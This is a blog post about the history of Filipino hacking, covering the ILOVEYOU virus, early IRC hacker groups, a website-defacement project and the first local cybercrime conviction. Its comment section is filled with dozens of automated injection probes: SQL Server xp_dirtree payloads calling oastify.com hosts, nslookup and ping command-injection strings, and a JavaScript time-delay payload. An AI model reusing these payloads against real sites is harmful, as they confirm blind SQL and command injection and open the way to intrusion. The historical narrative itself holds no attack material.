Tales from our Pinoy Hackers after Y2k bug to pre-Comeleak part 1

by Nullforge Blog on in Hacks, Threat Intelligence

Threat Intelligence has always been misunderstood from some Filipinos working in the scene but not all. Some threat intelligence analysts would tend to point that the Anonymous Philippines originated from some hacker cons and that most white hats are still active in the underground scene and are not entirely reformed hackers. I read this from a leaked presentation from before but I don’t want to point what Threat Intel company is involved for the mischief.

They talk about Threat Intel but they don’t share the stories of our Pinoy hackers and some of the origins of our Pinoy hackers. And so I hope that this post will somehow serve justice to them.

I was already online when Friendster was vulnerable to HTML Injection and XSS. BUT none of us care.

IRC was my home back then despite having Friendster and Yahoo messenger.

DALnet back then was home for the underground Filipino hacker groups. Before Philker, Privatex, Anonymous Philippines and ProjectX era (2008 – pre-ComeLeak), there were Filipino hacker groups like Asianpride, PHTeam, Philcarder, Oneball, Darkscience, and Locusts.org (year 2000 – 2004?).

Before talking about these groups. Let’s travel further to what happened in May 4 2000.

The I Love You Virus True Story (May 2000)

“On May 4 2000, an e-mail bearing the title ”I LOVE YOU” began popping up in computers in Asia. When opened, it destroyed graphics and other files. The e-mail program, commonly called a virus or worm, which replicates by sending itself to all the other e-mail addresses in a computer’s database. Within hours, the worm plagued through government offices in Europe and the United States which forced The Pentagon, CIA, the British Parliament, and most large corporations to completely shut down their mail systems.” –Wikipedia

The Suspects (Filipino students from AMA)


Onel de Guzman

Onel de Guzman admitted unleashing the “Love Bug”, the computer virus that caused havoc by infecting 45 million machines around the world.

He has never worked for the CIA, Microsoft and Pentagon.


Michael Buen

Michael Buen denies writing the virus but:

“In February 2000 (Before the outbreak of the virus), a virus was sent to clients of Sophos, a security firm based in Oxfordshire, England. It came in the form of a CV in the name of Michael Buen and it came from the Philippines. The virus was designed to reproduce itself and infect Word documents.” – Soldierx HDB

Impact of I Love You Virus

  • Since there were no laws in the Philippines against writing malware at the time, Onel was released with all charges dropped by state prosecutors.
  • To address this legislative deficiency, the Philippine Congress enacted Republic Act No. 8792, otherwise known as the E-Commerce Law, in July 2000, just two months after the worm outbreak.
  • In 2012, the Smithsonian Institution named ILOVEYOU the tenth-most virulent computer virus in history.

After 20 years of silence…


Onel de Guzman in 2020

Geoff White then interviewed Onel last April 2020 regarding the virus:

“De Guzman claimed he sent the virus initially to someone in Singapore, and then went out drinking with a friend. The first he knew of the global chaos he had unleashed was when his mother told him police were hunting a hacker in Manila.

His mother hid his computer equipment, but not the diskettes containing de Guzman’s classmates’ names, including Michael Buen, which were later found by the police. De Guzman insisted Buen had nothing to do with the Love Bug and that he was its sole creator.” – Computer Weekly

Where is Michael now?

I was able to tracked him in Twitter and his blog way back 2010.

So who is really the real virus author? You be the judge.

The 4’ O Clock Project (Year 2000 – 2002)

Since I talked about the old underground groups let us dig further about them.

As early as 2000 (based on the archives), a project initiated by Asianpride was launched which is the 4 o’clock Project. Their aim was to publicize the flaws of Philippine websites during that time. The website contained their mass defacements and defacement mirrors or archives from popular Philippine websites like cebu.gov.ph, Globe ISP, informatics.edu.ph, ABS-CBN websites, server.purefoods.com.ph, Icct.edu.ph, etc.


Website: http://fouroclockproject.iwarp.com/


Sample Defacement Page in the archive dedicated to Rico Yan

Asianpride allegedly was able to intrude into the servers of local ISP Mosaic Communications Inc (MosCom or Mozcom), uploading executable programs that would eventually modify a website’s main page.

1st Cybercrime Conviction (2005)

Before Rodel Plasabas, Paul Biteng and Joenel de Asis; JJ Maria Ginner was the first Filipino hacker accused of hacking and defacing of the government portal gov.ph. Here are some facts:

  • He was convicted under the E-Commerce Law for hacking the government’s .gov.ph site. (Criminal Case No. 419672-CR filed at Branch 14 of the Metropolitan Trial Court of Manila under Judge Rosalyn Mislos-Loja)
  • He was sentenced to one to two years of imprisonment and fined Php100,000. However, he immediately applied for probation, which was eventually granted by the court.
  • The conviction is now considered a landmark case, as he is the first local hacker to be convicted under section 33a of the E-Commerce Law or Republic Act 8792.

Where is JJ Maria Ginner?

I can’t confirm nor deny where he is right now but I am proud to say that he is a very excellent penetration tester right now and that you may have seen him in some hacker conferences.

Part 2?

There are more stories before ComeLeak. Follow our Facebook Page for more updates and new stories: https://www.facebook.com/nullforgesec.

Previous article
Next article

846 thoughts on “Tales from our Pinoy Hackers after Y2k bug to pre-Comeleak part 1”

  5. COMMENT *;declare @q varchar(99);set @q=’\\kym9i2jro652bp10wglw9zcjza51wrksfg66uyho5d.oasti’+’fy.com\hwa’; exec master.dbo.xp_dirtree @q;–

  6. COMMENT *’;declare @q varchar(99);set @q=’\\1fhqzj085nmjs6ihdx2dqgt0grmid819wxnobgy6mv.oasti’+’fy.com\orp’; exec master.dbo.xp_dirtree @q;–

  7. COMMENT *);declare @q varchar(99);set @q=’\\cn317u8jdyuu0hqsl8aoyr1bo2utlj9k48v0js6iu7.oasti’+’fy.com\iis’; exec master.dbo.xp_dirtree @q;–

  8. COMMENT *’);declare @q varchar(99);set @q=’\\98fysrtgyvfrlebp65vljom89zfq6guhp5gy4qrgf5.oasti’+’fy.com\aux’; exec master.dbo.xp_dirtree @q;–

  35. COMMENT *;declare @q varchar(99);set @q=’\\mc2noryjuihxk54wjnn5gnu8wz2sqspgg64yrofd.oasti’+’fy.com\cpu’; exec master.dbo.xp_dirtree @q;–

  36. COMMENT *’;declare @q varchar(99);set @q=’\\8w598di5e41j4roi397r09euglmeae920tolbbz0.oasti’+’fy.com\ces’; exec master.dbo.xp_dirtree @q;–

  37. COMMENT *);declare @q varchar(99);set @q=’\\vonw00as6rt6weg5vwzesw6h88e1211pshg93zro.oasti’+’fy.com\lqv’; exec master.dbo.xp_dirtree @q;–

  38. COMMENT *’);declare @q varchar(99);set @q=’\\7s084ce4a3xi0qkhz83qw8atckid6d51wukm7cv1.oasti’+’fy.com\bdi’; exec master.dbo.xp_dirtree @q;–

  133. COMMENT *&nslookup -q=cname 5bh6nax2t1ggjo3fi6mof6trvi1bpbozjnba1yq.oastify.com.&’\”`0&nslookup -q=cname 5bh6nax2t1ggjo3fi6mof6trvi1bpbozjnba1yq.oastify.com.&`’

  138. COMMENT *|ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #’ |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\” |ping -n 21 127.0.0.1

  194. COMMENT *’+(function(){if(typeof vwvkp===”undefined”){var a=new Date();do{var b=new Date();}while(b-a<20000);vwvkp=1;}}())+'

  434. COMMENT *;declare @q varchar(99);set @q=’\\ugevsz2ryql5od84nvrdkvyg0760u0toke86vwjl.oasti’+’fy.com\rwk’; exec master.dbo.xp_dirtree @q;–

  435. COMMENT *’;declare @q varchar(99);set @q=’\\t2wueyoqkp74acu39udc6ukfm6szgzfn6eu6hw5l.oasti’+’fy.com\qxc’; exec master.dbo.xp_dirtree @q;–

  436. COMMENT *);declare @q varchar(99);set @q=’\\ki6lup4h0gnvq3auplt3ml062x8qwqvem6ayxold.oasti’+’fy.com\joq’; exec master.dbo.xp_dirtree @q;–

  437. COMMENT *’);declare @q varchar(99);set @q=’\\8en9qd05w4jjmr6il9pri9wuyl4eser2iv6ntdh2.oasti’+’fy.com\kvm’; exec master.dbo.xp_dirtree @q;–

  502. COMMENT *&nslookup -q=cname 3uy468g0czze2mmd145my4cpegk9897x2lu8kw9.oastify.com.&’\”`0&nslookup -q=cname 3uy468g0czze2mmd145my4cpegk9897x2lu8kw9.oastify.com.&`’

  515. COMMENT *’+(function(){if(typeof j0n85===”undefined”){var a=new Date();do{var b=new Date();}while(b-a<20000);j0n85=1;}}())+'

  681. COMMENT *;declare @q varchar(99);set @q=’\\z000c4mwiv5a8is970bi40ilkcq5e5dt4jsbf13q.oasti’+’fy.com\qan’; exec master.dbo.xp_dirtree @q;–

  682. COMMENT *’;declare @q varchar(99);set @q=’\\iqcj2ncf8evty1isxj11uj84avgo4o3cu3iv5lta.oasti’+’fy.com\ebd’; exec master.dbo.xp_dirtree @q;–

  683. COMMENT *);declare @q varchar(99);set @q=’\\6487gbq3m29hcpwgb7fp87msojucich08swkja7z.oasti’+’fy.com\lva’; exec master.dbo.xp_dirtree @q;–

  684. COMMENT *’);declare @q varchar(99);set @q=’\\9v5a7eh6d50k3snj2a6szadvfmlf9f83zwnoaey3.oasti’+’fy.com\neh’; exec master.dbo.xp_dirtree @q;–

  689. COMMENT *;declare @q varchar(99);set @q=’\\dube6igac9zo2wmn1e5wyeczeqkj8j77yxmp9fx4.oasti’+’fy.com\dah’; exec master.dbo.xp_dirtree @q;–

  690. COMMENT *’;declare @q varchar(99);set @q=’\\4ej5q901w0jfmn6el5pni5wqyh4asaryip6ht7hw.oasti’+’fy.com\jci’; exec master.dbo.xp_dirtree @q;–

  691. COMMENT *);declare @q varchar(99);set @q=’\\vedwq00swrj6me65lwpeiwwhy841s1rpih69tzho.oasti’+’fy.com\xnv’; exec master.dbo.xp_dirtree @q;–

  692. COMMENT *’);declare @q varchar(99);set @q=’\\86c9ids5o4bjeryid9hra9ouqlwekej2avynld92.oasti’+’fy.com\doe’; exec master.dbo.xp_dirtree @q;–

  697. COMMENT *;declare @q varchar(99);set @q=’\\s70tjxtppoc3fbz2etibbtper5xylykmbcz4muaj.oasti’+’fy.com\erj’; exec master.dbo.xp_dirtree @q;–

  698. COMMENT *’;declare @q varchar(99);set @q=’\\efxfrj1bxakpnx7omfqxjfx0zr5ktks8jz7ruhi6.oasti’+’fy.com\lvp’; exec master.dbo.xp_dirtree @q;–

  699. COMMENT *);declare @q varchar(99);set @q=’\\4pu519b170ufxnhew50nt57q9hfa3a2ytqhi48sx.oasti’+’fy.com\cvq’; exec master.dbo.xp_dirtree @q;–

  700. COMMENT *’);declare @q varchar(99);set @q=’\\d7lejitap9cofwzneeiwbepzrqxjljk7b0zsmia7.oasti’+’fy.com\wcp’; exec master.dbo.xp_dirtree @q;–

  705. COMMENT *;declare @q varchar(99);set @q=’\\bt8c5gf8b7ym1ull0c4uxcbxdojh7h65xvln8dw2.oasti’+’fy.com\jvy’; exec master.dbo.xp_dirtree @q;–

  706. COMMENT *’;declare @q varchar(99);set @q=’\\4gl5s921y0lfon8en5rnk5yq0h6auatykp8hv7jw.oasti’+’fy.com\aux’; exec master.dbo.xp_dirtree @q;–

  707. COMMENT *);declare @q varchar(99);set @q=’\\4y35a9k1g03f6nqe559n25gqihoacaby2qqid81x.oasti’+’fy.com\kxf’; exec master.dbo.xp_dirtree @q;–

  708. COMMENT *’);declare @q varchar(99);set @q=’\\vedwq00swrj6me65lwpeiwwhy841s1rpii6at0hp.oasti’+’fy.com\xjy’; exec master.dbo.xp_dirtree @q;–

  713. COMMENT *;declare @q varchar(99);set @q=’\\a9kblfv7r6elht1kgbktdbrwtnzgngm4du1mocc1.oasti’+’fy.com\bng’; exec master.dbo.xp_dirtree @q;–

  714. COMMENT *’;declare @q varchar(99);set @q=’\\8fo9rd15x4kjnr7im9qrj9xuzl5etes2jt7lubi0.oasti’+’fy.com\dqz’; exec master.dbo.xp_dirtree @q;–

  715. COMMENT *);declare @q varchar(99);set @q=’\\9pza1eb675ukxshjwa0sta7v9mff3f23tvhn4ds2.oasti’+’fy.com\aao’; exec master.dbo.xp_dirtree @q;–

  716. COMMENT *’);declare @q varchar(99);set @q=’\\7hp8tc34z3mipq9ho8sql8zt1k7dvdu1lu9mwck1.oasti’+’fy.com\fti’; exec master.dbo.xp_dirtree @q;–

  721. COMMENT *;declare @q varchar(99);set @q=’\\wggxs12tysl7of86nxrfkxyi0962u2tqkg88vyjn.oasti’+’fy.com\wjd’; exec master.dbo.xp_dirtree @q;–

  722. COMMENT *’;declare @q varchar(99);set @q=’\\pqjq2ucm8lv0y8izxq18uq8ba2gv4v3juai25sth.oasti’+’fy.com\ewr’; exec master.dbo.xp_dirtree @q;–

  723. COMMENT *);declare @q varchar(99);set @q=’\\gbvhnlxdtcgrjz3qihmzfht2vt1mpmoaf23uqke9.oasti’+’fy.com\cpf’; exec master.dbo.xp_dirtree @q;–

  724. COMMENT *’);declare @q varchar(99);set @q=’\\wiixu14t0sn7qfa6pxtfmx0i2982w2vqmjabx1lq.oasti’+’fy.com\zjp’; exec master.dbo.xp_dirtree @q;–

  729. COMMENT *;declare @q varchar(99);set @q=’\\2jm3v75z1yodrlbcq3uln31o3f98x8wwnmbey4mt.oasti’+’fy.com\ock’; exec master.dbo.xp_dirtree @q;–

  730. COMMENT *’;declare @q varchar(99);set @q=’\\0hi1t53xzwmbpj9ao1sjl1zm1d76v6uull9dw3ks.oasti’+’fy.com\wdk’; exec master.dbo.xp_dirtree @q;–

  731. COMMENT *);declare @q varchar(99);set @q=’\\whhxt13tzsm7pf96oxsflxzi1972v2uqli9aw0kp.oasti’+’fy.com\qgb’; exec master.dbo.xp_dirtree @q;–

  732. COMMENT *’);declare @q varchar(99);set @q=’\\5hn6ta32z1mgpo9fo6sol6zr1i7bvbuzls9kwakz.oasti’+’fy.com\shm’; exec master.dbo.xp_dirtree @q;–

  778. COMMENT *;declare @q varchar(99);set @q=’\\h8qikmueqddsg00rfij0ciq3suynmnlbc10tnjb8.oasti’+’fy.com\qgl’; exec master.dbo.xp_dirtree @q;–

  779. COMMENT *’;declare @q varchar(99);set @q=’\\itfj5nffbeyt11ls0j41xjb4dvjo7o6cx3lv8lwa.oasti’+’fy.com\dpx’; exec master.dbo.xp_dirtree @q;–

  780. COMMENT *);declare @q varchar(99);set @q=’\\theuty3qzpm4pc93ouscluzf167zvzunlf97wxkm.oasti’+’fy.com\evw’; exec master.dbo.xp_dirtree @q;–

  781. COMMENT *’);declare @q varchar(99);set @q=’\\grbh3ldd9cwrzzjqyh2zvh92bthm5m4av3jv6lua.oasti’+’fy.com\mlw’; exec master.dbo.xp_dirtree @q;–

  796. COMMENT *;declare @q varchar(99);set @q=’\\vfewr01sxrk6ne75mwqejwxhz851t1spjf77uxim.oasti’+’fy.com\hci’; exec master.dbo.xp_dirtree @q;–

  797. COMMENT *’;declare @q varchar(99);set @q=’\\eo6f0jab6atpwxgovfzxsf608rek2k18szgr3hr6.oasti’+’fy.com\nsy’; exec master.dbo.xp_dirtree @q;–

  798. COMMENT *);declare @q varchar(99);set @q=’\\knblzp9h5gsvv3fuuly3rl567xdq1q0er6fy2oqd.oasti’+’fy.com\ybf’; exec master.dbo.xp_dirtree @q;–

  799. COMMENT *’);declare @q varchar(99);set @q=’\\7rz83cd493wizqjhy82qv89tbkhd5d41vujm6cu1.oasti’+’fy.com\orq’; exec master.dbo.xp_dirtree @q;–

  804. COMMENT *;declare @q varchar(99);set @q=’\\ar5b3fd796wlztjkyb2tvb9wbnhg5g44vujm6cu1.oasti’+’fy.com\vbq’; exec master.dbo.xp_dirtree @q;–

  805. COMMENT *’;declare @q varchar(99);set @q=’\\jl8kxo7g3fqut2dtskw2pk355wbpzpydp4dw0mob.oasti’+’fy.com\bli’; exec master.dbo.xp_dirtree @q;–

  806. COMMENT *);declare @q varchar(99);set @q=’\\swst8xipeo134bo23t7b0teeg5myay9m0eo6bwzl.oasti’+’fy.com\exl’; exec master.dbo.xp_dirtree @q;–

  807. COMMENT *’);declare @q varchar(99);set @q=’\\pxqq9ujmfl2058pz4q881qfbh2nvbvaj1cp4cu0j.oasti’+’fy.com\iin’; exec master.dbo.xp_dirtree @q;–

  812. COMMENT *;declare @q varchar(99);set @q=’\\j3nkfopglf8ub2vtake27kl5nwtphpgd73vvil6a.oasti’+’fy.com\pns’; exec master.dbo.xp_dirtree @q;–

  813. COMMENT *’;declare @q varchar(99);set @q=’\\j2mkeoogkf7ua2ut9kd26kk5mwspgpfd64uwhm5b.oasti’+’fy.com\xtz’; exec master.dbo.xp_dirtree @q;–

  814. COMMENT *);declare @q varchar(99);set @q=’\\xdeyp2zuvti8lg57kyoghyvjxa33r3qrhj5bs1gq.oasti’+’fy.com\qli’; exec master.dbo.xp_dirtree @q;–

  815. COMMENT *’);declare @q varchar(99);set @q=’\\8179ddn5j46j9rti89cr59jullrefee25vtngd42.oasti’+’fy.com\bnc’; exec master.dbo.xp_dirtree @q;–

  820. COMMENT *;declare @q varchar(99);set @q=’\\1872k6uyqxdcgk0bf2jkc2qnsey7m7lvcl0dn3bs.oasti’+’fy.com\qtx’; exec master.dbo.xp_dirtree @q;–

  821. COMMENT *’;declare @q varchar(99);set @q=’\\7w488ci4e31i4qoh387q08etgkmdad910sokbazz.oasti’+’fy.com\myw’; exec master.dbo.xp_dirtree @q;–

  822. COMMENT *);declare @q varchar(99);set @q=’\\5036cam2i15g8osf76bo46irkiqbebdz4rsjf93y.oasti’+’fy.com\bit’; exec master.dbo.xp_dirtree @q;–

  823. COMMENT *’);declare @q varchar(99);set @q=’\\8r093dd594wjzrjiy92rv99ublhe5e42vvjn6du2.oasti’+’fy.com\dpf’; exec master.dbo.xp_dirtree @q;–

  828. COMMENT *;declare @q varchar(99);set @q=’\\q0rrcvmnim5189s07rb94rick3qwewdk4as2fs3h.oasti’+’fy.com\qcu’; exec master.dbo.xp_dirtree @q;–

  829. COMMENT *’;declare @q varchar(99);set @q=’\\s4xtgxqpmo93cbw2btfb8tmeo5uyiyhm8dw5jv7k.oasti’+’fy.com\nbu’; exec master.dbo.xp_dirtree @q;–

  830. COMMENT *);declare @q varchar(99);set @q=’\\vsrw40esarx60ek5zw3ewwahc8i1615pwhk97zvo.oasti’+’fy.com\yfb’; exec master.dbo.xp_dirtree @q;–

  831. COMMENT *’);declare @q varchar(99);set @q=’\\5kq6wa6221pgsocfr6voo62r4iabybxzosckzanz.oasti’+’fy.com\jni’; exec master.dbo.xp_dirtree @q;–

  836. COMMENT *;declare @q varchar(99);set @q=’\\bn2czg9857smvuflucyurc5x7odh1h05rvfn2dq2.oasti’+’fy.com\axu’; exec master.dbo.xp_dirtree @q;–

  837. COMMENT *’;declare @q varchar(99);set @q=’\\h3lifmpeld8sb0vraie07il3nutnhngb72vuik69.oasti’+’fy.com\zpd’; exec master.dbo.xp_dirtree @q;–

  838. COMMENT *);declare @q varchar(99);set @q=’\\xijyu24u0tn8qga7pytgmy0j2a83w3vrmjabx1lq.oasti’+’fy.com\yng’; exec master.dbo.xp_dirtree @q;–

  839. COMMENT *’);declare @q varchar(99);set @q=’\\as6b4fe7a6xl0tkkzb3twbawcnig6g54wxkp7fv4.oasti’+’fy.com\uqo’; exec master.dbo.xp_dirtree @q;–

Leave a Reply